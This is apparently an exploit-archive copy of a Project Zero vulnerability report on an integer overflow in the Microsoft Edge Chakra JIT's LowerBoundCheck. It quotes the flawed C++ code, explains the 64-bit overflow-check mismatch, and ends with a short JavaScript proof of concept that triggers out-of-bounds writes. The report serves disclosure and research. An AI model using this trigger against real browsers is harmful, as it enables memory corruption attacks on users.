Microsoft Edge Chakra: JIT – ‘Lowerer::LowerBoundCheck’ Incorrect Integer Overflow Check
/* Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1343 Here's a snippet of the method. void Lowerer::LowerBoundCheck(IR::Instr *const instr) { ... if(rightOpnd->IsIntConstOpnd()) { IntConstType newOffset; if(!IntConstMath::Add(offset, rightOpnd->AsIntConstOpnd()->GetValue(), &newOffset)) <<--- (a) { offset = newOffset; rightOpnd = nullptr; offsetOpnd = nullptr; } } ... if(!rightOpnd) { rightOpnd = IR::IntConstOpnd::New(offset, TyInt32, func); } } At (a), it uses "IntConstMath::Add" to check integer overflow. But the size of IntConstType equals to the size of pointer, and the "offset" variable is used as a 32-bit integer. So it may fail to check integer overflow on 64-bit system. PoC: */ function f() { let arr = new Uint32Array(0x1000); for (let i = 0; i < 0x7fffffff;) { arr[++i] = 0x1234; } } f(); |